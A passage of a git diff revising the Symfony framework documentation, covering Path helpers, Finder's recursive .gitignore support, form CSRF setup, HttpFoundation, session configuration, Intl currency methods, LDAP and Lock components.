+:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`
+and :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`.
+
+:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` method expects a
+relative path and a base path to base that relative path upon::
+
+    echo Path::makeAbsolute('config/config.yaml', '/var/www/project');
+    // => /var/www/project/config/config.yaml
+
+If an absolute path is passed in the first argument, the absolute path is
+returned unchanged::
+
+    echo Path::makeAbsolute('/usr/share/lib/config.ini', '/var/www/project');
+    // => /usr/share/lib/config.ini
+
+The method resolves ".." segments, if there are any::
+
+    echo Path::makeAbsolute('../config/config.yaml', '/var/www/project/uploads');
+    // => /var/www/project/config/config.yaml
+
+This method is very useful if you want to be able to accept relative paths (for
+example, relative to the root directory of your project) and absolute paths at
+the same time.
+
+:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` is the inverse
+operation to :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`::
+
+    echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project');
+    // => config/config.yaml
+
+If the path is not within the base path, the method will prepend ".." segments
+as necessary::
+
+    echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project/uploads');
+    // => ../config/config.yaml
+
+Use :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` and
+:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` to check whether a
+path is absolute or relative::
+
+    Path::isAbsolute('C:\Programs\PHP\php.ini')
+    // => true
+
+All four methods internally canonicalize the passed path.
+
+Finding Longest Common Base Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you store absolute file paths on the file system, this leads to a lot of
+duplicated information::
+
+    return [
+        '/var/www/vhosts/project/httpdocs/config/config.yaml',
+        '/var/www/vhosts/project/httpdocs/config/routing.yaml',
+        '/var/www/vhosts/project/httpdocs/config/services.yaml',
+        '/var/www/vhosts/project/httpdocs/images/banana.gif',
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
+    ];
+
+Especially when storing many paths, the amount of duplicated information is
+noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath`
+to check a list of paths for a common base path::
+
+    $paths = [
+        '/var/www/vhosts/project/httpdocs/config/config.yaml',
+        '/var/www/vhosts/project/httpdocs/config/routing.yaml',
+        '/var/www/vhosts/project/httpdocs/config/services.yaml',
+        '/var/www/vhosts/project/httpdocs/images/banana.gif',
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
+    ];
+
+    Path::getLongestCommonBasePath($paths);
+    // => /var/www/vhosts/project/httpdocs
+
+Use this path together with :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`
+to shorten the stored paths::
+
+    $bp = '/var/www/vhosts/project/httpdocs';
+
+    return [
+        $bp.'/config/config.yaml',
+        $bp.'/config/routing.yaml',
+        $bp.'/config/services.yaml',
+        $bp.'/images/banana.gif',
+        $bp.'/uploads/images/nicer-banana.gif',
+    ];
+
+:method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath` always
+returns canonical paths.
+
+Use :method:`Symfony\\Component\\Filesystem\\Path::isBasePath` to test whether a
+path is a base path of another path::
+
+    Path::isBasePath("/var/www", "/var/www/project");
+    // => true
+
+    Path::isBasePath("/var/www", "/var/www/project/..");
+    // => true
+
+    Path::isBasePath("/var/www", "/var/www/project/../..");
+    // => false
+
+Finding Directories/Root Directories
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+PHP offers the function :phpfunction:`dirname` to obtain the directory path of a
+file path. This method has a few quirks::
+
+- `dirname()` does not accept backslashes on UNIX
+- `dirname("C:/Programs")` returns "C:", not "C:/"
+- `dirname("C:/")` returns ".", not "C:/"
+- `dirname("C:")` returns ".", not "C:/"
+- `dirname("Programs")` returns ".", not ""
+- `dirname()` does not canonicalize the result
+
+:method:`Symfony\\Component\\Filesystem\\Path::getDirectory` fixes these
+shortcomings::
+
+    echo Path::getDirectory("C:\Programs");
+    // => C:/
+
+Additionally, you can use :method:`Symfony\\Component\\Filesystem\\Path::getRoot`
+to obtain the root of a path::
+
+    echo Path::getRoot("/etc/apache2/sites-available");
+    // => /
+
+    echo Path::getRoot("C:\Programs\Apache\Config");
+    // => C:/
+
 Error Handling
 --------------
 
diff --git a/components/finder.rst b/components/finder.rst
index c0c5682d19a..ecae414084a 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -141,13 +141,26 @@ default when looking for files and directories, but you can change this with the
 
     $finder->ignoreVCS(false);
 
-If the search directory contains a ``.gitignore`` file, you can reuse those
-rules to exclude files and directories from the results with the
+If the search directory and its subdirectories contain ``.gitignore`` files, you
+can reuse those rules to exclude files and directories from the results with the
 :method:`Symfony\\Component\\Finder\\Finder::ignoreVCSIgnored` method::
 
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
+The rules of a directory always override the rules of its parent directories.
+
+.. note::
+
+    Git looks for ``.gitignore`` files starting from the repository root directory.
+    Symfony's Finder behavior is different and it looks for ``.gitignore`` files
+    starting from the directory used to search files/directories. To be consistent
+    with Git behavior, you should explicitly search from the Git repository root.
+
+.. versionadded:: 5.4
+
+    Recursive support for ``.gitignore`` files was introduced in Symfony 5.4.
+
 File Name
 ~~~~~~~~~
 
@@ -210,7 +223,7 @@ Use the forward slash (i.e. ``/``) as the directory separator on all platforms,
 including Windows. The component makes the necessary conversion internally.
 
 The ``path()`` method accepts a string, a regular expression or an array of
-strings or regulars expressions::
+strings or regular expressions::
 
     $finder->path('foo/bar');
     $finder->path('/^foo\/bar/');
@@ -293,6 +306,7 @@ Directory Depth
 By default, the Finder recursively traverses directories. Restrict the depth of
 traversing with :method:`Symfony\\Component\\Finder\\Finder::depth`::
 
+    // this will only consider files/directories which are direct children
     $finder->depth('== 0');
     $finder->depth('< 3');
 
diff --git a/components/form.rst b/components/form.rst
index 7ac59478ceb..64551b72041 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -121,16 +121,17 @@ The following snippet adds CSRF protection to the form factory::
 
     use Symfony\Component\Form\Extension\Csrf\CsrfExtension;
     use Symfony\Component\Form\Forms;
-    use Symfony\Component\HttpFoundation\Session\Session;
+    use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\Security\Csrf\CsrfTokenManager;
     use Symfony\Component\Security\Csrf\TokenGenerator\UriSafeTokenGenerator;
     use Symfony\Component\Security\Csrf\TokenStorage\SessionTokenStorage;
 
-    // creates a Session object from the HttpFoundation component
-    $session = new Session();
+    // creates a RequestStack object using the current request
+    $requestStack = new RequestStack();
+    $requestStack->push($request);
 
     $csrfGenerator = new UriSafeTokenGenerator();
-    $csrfStorage = new SessionTokenStorage($session);
+    $csrfStorage = new SessionTokenStorage($requestStack);
     $csrfManager = new CsrfTokenManager($csrfGenerator, $csrfStorage);
 
     $formFactory = Forms::createFormFactoryBuilder()
@@ -646,6 +647,12 @@ method:
             }
         }
 
+.. caution::
+
+    The form's ``createView()`` method should be called *after* ``handleRequest()`` is
+    called. Otherwise, when using :doc:`form events </form/events>`, changes done
+    in the ``*_SUBMIT`` events won't be applied to the view (like validation errors).
+
 This defines a common form "workflow", which contains 3 different possibilities:
 
 1) On the initial GET request (i.e. when the user "surfs" to your page),
@@ -686,7 +693,7 @@ option when building each field:
                 'constraints' => [
                     new NotBlank(),
                     new Type(\DateTime::class),
-                ]
+                ],
             ])
             ->getForm();
 
@@ -713,7 +720,7 @@ option when building each field:
                         'constraints' => [
                             new NotBlank(),
                             new Type(\DateTime::class),
-                        ]
+                        ],
                     ])
                     ->getForm();
                 // ...
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 23d8e9a6809..344b88d6e99 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -163,20 +163,25 @@ exist::
     // returns 'baz'
 
 When PHP imports the request query, it handles request parameters like
-``foo[bar]=baz`` in a special way as it creates an array. So you can get the
-``foo`` parameter and you will get back an array with a ``bar`` element::
+``foo[bar]=baz`` in a special way as it creates an array. The ``get()`` method
+doesn't support returning arrays, so you need to use the following code::
 
     // the query string is '?foo[bar]=baz'
 
-    $request->query->get('foo');
+    // don't use $request->query->get('foo'); use the following instead:
+    $request->query->all()['foo'];
     // returns ['bar' => 'baz']
 
     $request->query->get('foo[bar]');
     // returns null
 
-    $request->query->get('foo')['bar'];
+    $request->query->all()['foo']['bar'];
     // returns 'baz'
 
+.. deprecated:: 5.1
+
+    The array support in ``get()`` method was deprecated in Symfony 5.1.
+
 .. _component-foundation-attributes:
 
 Thanks to the public ``attributes`` property, you can store additional data
@@ -190,7 +195,7 @@ Finally, the raw data sent with the request body can be accessed using
 
     $content = $request->getContent();
 
-For instance, this may be useful to process a XML string sent to the
+For instance, this may be useful to process an XML string sent to the
 application by a remote service using the HTTP POST method.
 
 If the request body is a JSON string, it can be accessed using
@@ -247,9 +252,9 @@ Accessing the Session
 ~~~~~~~~~~~~~~~~~~~~~
 
 If you have a session attached to the request, you can access it via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method;
-the
-:method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
+``getSession()`` method of the :class:`Symfony\\Component\\HttpFoundation\\Request`
+or :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class;
+the :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession`
 method tells you if the request contains a session which was started in one of
 the previous requests.
 
@@ -346,11 +351,11 @@ analysis purposes. Use the ``anonymize()`` method from the
     use Symfony\Component\HttpFoundation\IpUtils;
 
     $ipv4 = '123.234.235.236';
-    $anonymousIpv4 = IPUtils::anonymize($ipv4);
+    $anonymousIpv4 = IpUtils::anonymize($ipv4);
     // $anonymousIpv4 = '123.234.235.0'
 
     $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
-    $anonymousIpv6 = IPUtils::anonymize($ipv6);
+    $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
 Accessing other Data
@@ -519,7 +524,7 @@ call::
         's_maxage'         => 600,
         'immutable'        => true,
         'last_modified'    => new \DateTime(),
-        'etag'             => 'abcdef'
+        'etag'             => 'abcdef',
     ]);
 
 .. versionadded:: 5.1
@@ -584,7 +589,7 @@ represented by a PHP callable instead of a string::
     header in the response::
 
         // disables FastCGI buffering in nginx only for this response
-        $response->headers->set('X-Accel-Buffering', 'no')
+        $response->headers->set('X-Accel-Buffering', 'no');
 
 .. _component-http-foundation-serving-files:
 
@@ -670,7 +675,7 @@ handling, switching to chunked encoding instead::
     use Symfony\Component\HttpFoundation\BinaryFileResponse;
     use Symfony\Component\HttpFoundation\File\Stream;
 
-    $stream  = new Stream('path/to/stream');
+    $stream = new Stream('path/to/stream');
     $response = new BinaryFileResponse($stream);
 
 .. note::
@@ -705,9 +710,11 @@ class, which can make this even easier::
     // if you know the data to send when creating the response
     $response = new JsonResponse(['data' => 123]);
 
-    // if you don't know the data to send when creating the response
+    // if you don't know the data to send or if you want to customize the encoding options
     $response = new JsonResponse();
     // ...
+    // configure any custom encoding options (if needed, it must be called before "setData()")
+    //$response->setEncodingOptions(JsonResponse::DEFAULT_ENCODING_OPTIONS | \JSON_PRESERVE_ZERO_FRACTION);
     $response->setData(['data' => 123]);
 
     // if the data to send is already encoded in JSON
@@ -776,6 +783,43 @@ The following example shows how to detect if the user agent prefers "safe" conte
         $response->setContentSafe();
 
         return $response;
+
+Generating Relative and Absolute URLs
+-------------------------------------
+
+.. versionadded:: 5.4
+
+    The feature to generate relative and absolute URLs was introduced in Symfony 5.4.
+
+Generating absolute and relative URLs for a given path is a common need
+in some applications. In Twig templates you can use the
+:ref:`absolute_url() <reference-twig-function-absolute-url>` and
+:ref:`relative_path() <reference-twig-function-relative-path>` functions to do that.
+
+The :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class provides the
+same functionality for PHP code via the ``getAbsoluteUrl()`` and ``getRelativePath()``
+methods. You can inject this as a service anywhere in your application::
+
+    // src/Normalizer/UserApiNormalizer.php
+    namespace App\Normalizer;
+
+    use Symfony\Component\HttpFoundation\UrlHelper;
+
+    class UserApiNormalizer
+    {
+        private UrlHelper $urlHelper;
+
+        public function __construct(UrlHelper $urlHelper)
+        {
+            $this->urlHelper = $urlHelper;
+        }
+
+        public function normalize($user)
+        {
+            return [
+                'avatar' => $this->urlHelper->getAbsoluteUrl($user->avatar()->path()),
+            ];
+        }
     }
 
 Learn More
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index c8b29fb00b4..41aacae0e46 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -29,7 +29,7 @@ All native save handlers are internal to PHP and as such, have no public facing
 They must be configured by ``php.ini`` directives, usually ``session.save_path`` and
 potentially other driver specific directives. Specific details can be found in
 the docblock of the ``setOptions()`` method of each class. For instance, the one
-provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOption>`.
+provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOptions>`.
 
 While native save handlers can be activated by directly using
 ``ini_set('session.save_handler', $name);``, Symfony provides a convenient way to
@@ -154,28 +154,54 @@ Configuring Garbage Collection
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When a session opens, PHP will call the ``gc`` handler randomly according to the
-probability set by ``session.gc_probability`` / ``session.gc_divisor``. For
-example if these were set to ``5/100`` respectively, it would mean a probability
-of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%.
+probability set by ``session.gc_probability`` / ``session.gc_divisor`` in ``php.ini``.
+For example if these were set to ``5/100``, it would mean a probability of 5%.
 
-If the garbage collection handler is invoked, PHP will pass the value stored in
-the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is
-that any stored session that was saved more than ``gc_maxlifetime`` ago should be
-deleted. This allows one to expire records based on idle time.
+If the garbage collection handler is invoked, PHP will pass the value of
+``session.gc_maxlifetime``, meaning that any stored session that was saved more
+than ``gc_maxlifetime`` seconds ago should be deleted. This allows to expire records
+based on idle time.
 
 However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
+the ``session.gc_probability`` directive to ``0`` to stop PHP doing garbage
 collection. That's why Symfony now overwrites this value to ``1``.
 
 If you wish to use the original value set in your ``php.ini``, add the following
 configuration:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/framework.yaml
-    framework:
-        session:
-            gc_probability: null
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                gc_probability: null
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:session gc_probability="null"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'session' => [
+                'gc_probability' => null,
+            ],
+        ]);
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``
 and ``gc_maxlifetime`` in an array to the constructor of
diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 9c9479e3e5e..5756a38fc58 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -169,6 +169,11 @@ and "Remember Me" login settings or other user based state information.
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
     This implementation allows for attributes to be stored in a structured namespace.
 
+    .. deprecated:: 5.3
+
+        The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+        If you need this feature, you will have to implement the class yourself.
+
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
 has the API
 
@@ -237,6 +242,11 @@ So any processing of this might quickly get ugly, even adding a token to the arr
     $tokens['c'] = $value;
     $session->set('tokens', $tokens);
 
+.. deprecated:: 5.3
+
+    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+    If you need this feature, you will have to implement the class yourself.
+
 With structured namespacing, the key can be translated to the array
 structure like this using a namespace character (which defaults to ``/``)::
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index c0da0fd6cfa..7689609925b 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -65,7 +65,7 @@ that system::
          */
         public function handle(
             Request $request,
-            int $type = self::MASTER_REQUEST,
+            int $type = self::MAIN_REQUEST,
             bool $catch = true
         );
     }
@@ -498,12 +498,6 @@ as possible to the client (e.g. sending emails).
     Using the ``kernel.terminate`` event is optional, and should only be
     called if your kernel implements :class:`Symfony\\Component\\HttpKernel\\TerminableInterface`.
 
-.. sidebar:: ``kernel.terminate`` in the Symfony Framework
-
-    If you use the :ref:`memory spooling <email-spool-memory>` option of the
-    default Symfony mailer, then the `EmailSenderListener`_ is activated, which
-    actually delivers any emails that you scheduled to send during the request.
-
 .. _component-http-kernel-kernel-exception:
 
 Handling Exceptions: the ``kernel.exception`` Event
@@ -516,7 +510,7 @@ Handling Exceptions: the ``kernel.exception`` Event
 
 If an exception is thrown at any point inside ``HttpKernel::handle()``, another
 event - ``kernel.exception`` is thrown. Internally, the body of the ``handle()``
-function is wrapped in a try-catch block. When any exception is thrown, the
+method is wrapped in a try-catch block. When any exception is thrown, the
 ``kernel.exception`` event is dispatched so that your system can somehow respond
 to the exception.
 
@@ -701,12 +695,12 @@ argument as follows::
 
 This creates another full request-response cycle where this new ``Request`` is
 transformed into a ``Response``. The only difference internally is that some
-listeners (e.g. security) may only act upon the master request. Each listener
+listeners (e.g. security) may only act upon the main request. Each listener
 is passed some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`,
-whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
-can be used to check if the current request is a "master" or "sub" request.
+whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest`
+can be used to check if the current request is a "main" or "sub" request.
 
-For example, a listener that only needs to act on the master request may
+For example, a listener that only needs to act on the main request may
 look like this::
 
     use Symfony\Component\HttpKernel\Event\RequestEvent;
@@ -714,7 +708,7 @@ look like this::
 
     public function onKernelRequest(RequestEvent $event)
     {
-        if (!$event->isMasterRequest()) {
+        if (!$event->isMainRequest()) {
             return;
         }
 
@@ -758,5 +752,4 @@ Learn more
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
-.. _`EmailSenderListener`: https://github.com/symfony/swiftmailer-bundle/blob/master/EventListener/EmailSenderListener.php
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/components/index.rst b/components/index.rst
deleted file mode 100644
index bf28bf3b5d8..00000000000
--- a/components/index.rst
+++ /dev/null
@@ -1,16 +0,0 @@
-The Components
-==============
-
-.. seealso::
-
-    See the dedicated `Symfony Components`_ webpage for a full overview of decoupled
-    and reusable Symfony components.
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    using_components
-    *
-
-.. _`Symfony Components`: https://symfony.com/components
diff --git a/components/intl.rst b/components/intl.rst
index cb120034615..6593e305ce9 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -6,12 +6,11 @@ The Intl Component
 ==================
 
     This component provides access to the localization data of the `ICU library`_.
-    It also provides a PHP replacement layer for the C `intl extension`_.
 
 .. caution::
 
     The replacement layer is limited to the ``en`` locale. If you want to use
-    other locales, you should `install the intl extension`_. There is no conflict 
+    other locales, you should `install the intl extension`_. There is no conflict
     between the two because, even if you use the extension, this package can still
     be useful to access the ICU data.
 
@@ -30,30 +29,6 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-If you install the component via Composer, the following classes and functions
-of the intl extension will be automatically provided if the intl extension is
-not loaded:
-
-* :phpclass:`Collator`
-* :phpclass:`IntlDateFormatter`
-* :phpclass:`Locale`
-* :phpclass:`NumberFormatter`
-* :phpfunction:`intl_error_name`
-* :phpfunction:`intl_is_failure`
-* :phpfunction:`intl_get_error_code`
-* :phpfunction:`intl_get_error_message`
-
-When the intl extension is not available, the following classes are used to
-replace the intl classes:
-
-* :class:`Symfony\\Component\\Intl\\Collator\\Collator`
-* :class:`Symfony\\Component\\Intl\\DateFormatter\\IntlDateFormatter`
-* :class:`Symfony\\Component\\Intl\\Locale\\Locale`
-* :class:`Symfony\\Component\\Intl\\NumberFormatter\\NumberFormatter`
-* :class:`Symfony\\Component\\Intl\\Globals\\IntlGlobals`
-
-Composer automatically exposes these classes in the global namespace.
-
 Accessing ICU Data
 ------------------
 
@@ -69,7 +44,7 @@ Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The ``Languages`` class provides access to the name of all languages
-according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3`_ list::
+according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3 (2T)`_ list::
 
     use Symfony\Component\Intl\Languages;
 
@@ -110,7 +85,7 @@ to catching the exception, you can also check if a given language code is valid:
 
     $isValidLanguage = Languages::exists($languageCode);
 
-Or if you have a alpha3 language code you want to check::
+Or if you have an alpha3 language code you want to check::
 
     $isValidLanguage = Languages::alpha3CodeExists($alpha3Code);
 
@@ -197,7 +172,7 @@ to catching the exception, you can also check if a given country code is valid::
 
     $isValidCountry = Countries::exists($alpha2Code);
 
-Or if you have a alpha3 country code you want to check::
+Or if you have an alpha3 country code you want to check::
 
     $isValidCountry = Countries::alpha3CodeExists($alpha3Code);
 
@@ -211,9 +186,9 @@ Locales
 ~~~~~~~
 
 A locale is the combination of a language, a region and some parameters that
-define the interface preferences of the user. For example, "Chinese" is the 
-language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" 
-(script) + "Macau SAR China" (region). The ``Locales`` class provides access to 
+define the interface preferences of the user. For example, "Chinese" is the
+language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
+(script) + "Macau SAR China" (region). The ``Locales`` class provides access to
 the name of all locales::
 
     use Symfony\Component\Intl\Locales;
@@ -262,15 +237,45 @@ as some of their information (symbol, fraction digits, etc.)::
     $symbol = Currencies::getSymbol('INR');
     // => '₹'
 
-    $fractionDigits = Currencies::getFractionDigits('INR');
-    // => 2
+The fraction digits methods return the number of decimal digits to display when
+formatting numbers with this currency. Depending on the currency, this value
+can change if the number is used in cash transactions or in other scenarios
+(e.g. accounting)::
+
+    // Indian rupee defines the same value for both
+    $fractionDigits = Currencies::getFractionDigits('INR');         // returns: 2
+    $cashFractionDigits = Currencies::getCashFractionDigits('INR'); // returns: 2
+
+    // Swedish krona defines different values
+    $fractionDigits = Currencies::getFractionDigits('SEK');         // returns: 2
+    $cashFractionDigits = Currencies::getCashFractionDigits('SEK'); // returns: 0
+
+.. versionadded:: 5.3
+
+    The ``getCashFractionDigits()`` method was introduced in Symfony 5.3.
+
+Some currencies require to round numbers to the nearest increment of some value
+(e.g. 5 cents). This increment might be different if numbers are formatted for
+cash transactions or other scenarios (e.g. accounting)::
+
+    // Indian rupee defines the same value for both
+    $roundingIncrement = Currencies::getRoundingIncrement('INR');         // returns: 0
+    $cashRoundingIncrement = Currencies::getCashRoundingIncrement('INR'); // returns: 0
+
+    // Canadian dollar defines different values because they have eliminated
+    // the smaller coins (1-cent and 2-cent) and prices in cash must be rounded to
+    // 5 cents (e.g. if price is 7.42 you pay 7.40; if price is 7.48 you pay 7.50)
+    $roundingIncrement = Currencies::getRoundingIncrement('CAD');         // returns: 0
+    $cashRoundingIncrement = Currencies::getCashRoundingIncrement('CAD'); // returns: 5
+
+.. versionadded:: 5.3
 
-    $roundingIncrement = Currencies::getRoundingIncrement('INR');
-    // => 0
+    The ``getCashRoundingIncrement()`` method was introduced in Symfony 5.3.
 
-All methods (except for ``getFractionDigits()`` and ``getRoundingIncrement()``)
-accept the translation locale as the last, optional parameter, which defaults to
-the current default locale::
+All methods (except for ``getFractionDigits()``, ``getCashFractionDigits()``,
+``getRoundingIncrement()`` and ``getCashRoundingIncrement()``) accept the
+translation locale as the last, optional parameter, which defaults to the
+current default locale::
 
     $currencies = Currencies::getNames('de');
     // => ['AFN' => 'Afghanischer Afghani', 'EGP' => 'Ägyptisches Pfund', ...]
@@ -323,7 +328,7 @@ translate into any locale with the ``getName()`` method shown earlier::
 The reverse lookup is also possible thanks to the ``getCountryCode()`` method,
 which returns the code of the country where the given timezone ID belongs to::
 
-    $countryCode = Timezones::getCountryCode('America/Vancouver')
+    $countryCode = Timezones::getCountryCode('America/Vancouver');
     // => $countryCode = 'CA' (CA = Canada)
 
 The `UTC/GMT time offsets`_ of all timezones are provided by ``getRawOffset()``
@@ -353,8 +358,8 @@ arguments to get the offset at any given point in time::
 The string representation of the GMT offset can vary depending on the locale, so
 you can pass the locale as the third optional argument::
 
-    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar')); // $offset = 'غرينتش+01:00'
-    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz')); // $offset = 'ཇི་ཨེམ་ཏི་+01:00'
+    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar'); // $offset = 'غرينتش+01:00'
+    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz'); // $offset = 'ཇི་ཨེམ་ཏི་+01:00'
 
 If the given timezone ID doesn't exist, the methods trigger a
 :class:`Symfony\\Component\\Intl\\Exception\\MissingResourceException`. In addition
@@ -375,7 +380,6 @@ Learn more
     /reference/forms/types/locale
     /reference/forms/types/timezone
 
-.. _intl extension: https://www.php.net/manual/en/book.intl.php
 .. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
 .. _ICU library: http://site.icu-project.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
@@ -384,4 +388,4 @@ Learn more
 .. _`UTC/GMT time offsets`: https://en.wikipedia.org/wiki/List_of_UTC_time_offsets
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
-.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
diff --git a/components/ldap.rst b/components/ldap.rst
index 8e73b077760..08caf52b3e8 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -115,6 +115,10 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
     $query = $ldap->query('dc=symfony,dc=com', '...', ['scope' => QueryInterface::SCOPE_ONE]);
 
+Use the ``filter`` option to only retrieve some specific attributes:
+
+    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn', 'mail']);
+
 Creating or Updating Entries
 ----------------------------
 
@@ -139,6 +143,13 @@ delete existing ones::
     $query = $ldap->query('dc=symfony,dc=com', '(&(objectclass=person)(ou=Maintainers))');
     $result = $query->execute();
     $entry = $result[0];
+
+    $phoneNumber = $entry->getAttribute('phoneNumber');
+    $isContractor = $entry->hasAttribute('contractorCompany');
+    // attribute names in getAttribute() and hasAttribute() methods are case-sensitive
+    // pass FALSE as the second method argument to make them case-insensitive
+    $isContractor = $entry->hasAttribute('contractorCompany', false);
+
     $entry->setAttribute('email', ['fabpot@symfony.com']);
     $entryManager->update($entry);
 
@@ -149,6 +160,11 @@ delete existing ones::
     // Removing an existing entry
     $entryManager->remove(new Entry('cn=Test User,dc=symfony,dc=com'));
 
+.. versionadded:: 5.3
+
+    The option to make attribute names case-insensitive in ``getAttribute()``
+    and ``hasAttribute()`` was introduced in Symfony 5.3.
+
 Batch Updating
 ______________
 
diff --git a/components/lock.rst b/components/lock.rst
index 3a92184c85e..a765fa4edc7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -56,10 +56,11 @@ method can be safely called repeatedly, even if the lock is already acquired.
 
 .. note::
 
-    Unlike other implementations, the Lock Component distinguishes locks
-    instances even when they are created for the same resource. If a lock has
-    to be used by several services, they should share the same ``Lock`` instance
-    returned by the ``LockFactory::createLock`` method.
+    Unlike other implementations, the Lock Component distinguishes lock
+    instances even when they are created for the same resource. It means that for
+    a given scope and resource one lock instance can be acquired multiple times.
+    If a lock has to be used by several services, they should share the same ``Lock``
+    instance returned by the ``LockFactory::createLock`` method.
 
 .. tip::
 
@@ -165,7 +166,7 @@ method, the resource will stay locked until the timeout::
 
 .. tip::
 
-    To avoid letting the lock in a locking state, it's recommended to wrap the
+    To avoid leaving the lock in a locked state, it's recommended to wrap the
     job in a try/catch/finally block to always try to release the expiring lock.
 
 In case of long-running tasks, it's better to start with a not too long TTL and
@@ -203,8 +204,40 @@ to reset the TTL to its original value::
         $lock->refresh(600);
 
 This component also provides two useful methods related to expiring locks:
-``getExpiringDate()`` (which returns ``null`` or a ``\DateTimeImmutable``
-object) and ``isExpired()`` (which returns a boolean).
